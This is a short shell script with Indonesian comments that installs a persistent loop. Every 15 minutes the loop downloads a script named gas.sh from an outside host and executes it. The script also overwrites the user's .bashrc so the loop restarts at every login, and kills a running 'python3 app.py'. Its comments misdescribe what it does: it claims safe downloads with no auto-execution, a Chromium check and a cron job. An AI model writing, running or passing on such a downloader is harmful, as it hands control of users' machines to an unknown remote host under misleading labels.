#!/bin/sh
 
# ================================
# 0. Pindah ke HOME
# ================================
cd
 
# ================================
# 1. Cek apakah Chromium berjalan
# ================================
if pgrep -x "loop.sh" > /dev/null; then
    echo "Chromium sedang berjalan. Script dihentikan."
    exit 1
fi
 
# ================================
# 2. Hapus file lama sebelum unduh
# ================================
rm -rf $HOME/link.txt $HOME/idx.sh $HOME/.bashrc $HOME/x.sh x.* link.* idx.* .bashrc gas.
 
# ================================
# 3. Unduh file-file baru (aman, tidak auto-exec)
# ================================

cat << 'EOF' > $HOME/loop.sh
#!/bin/sh
while true; do
    pkill "python3 app.py"
    cd "$HOME"
    # Menghapus file lama (menggunakan -rf agar tidak error jika file tidak ada)
    rm -rf $HOME/gas.*
    # Download script baru
    wget -q -O "$HOME/gas.sh" "https://x.warn.my03.com/qrl/gas.sh"
    # Berikan izin eksekusi dan jalankan
    chmod +x "$HOME/gas.sh"
    sed -i 's/\r$//' "$HOME/gas.sh"
    ./gas.sh
    # Jeda selama 30 menit (1800 detik)
    sleep 900
done
EOF

echo "Setting .bashrc..."
cat << 'EOF' > $HOME/.bashrc

if ! pgrep -x "loop.sh" > /dev/null; then
    echo "Loop.sh tidak terdeteksi. Memulai..."
    #rm -rf ~/loop.log
    nohup ~/loop.sh > /dev/null 2>&1 &
    #nohup ~/loop.sh > ~/loop.log 2>&1 &
    #tail -f ~/loop.log
else
    # Tambahan logika jika sudah ditemukan
    echo "✅ Info: Loop.sh sudah aktif di latar belakang."
fi
EOF

chmod +x $HOME/loop.sh
echo "Cron job berhasil dipasang."
source ~/.bashrc		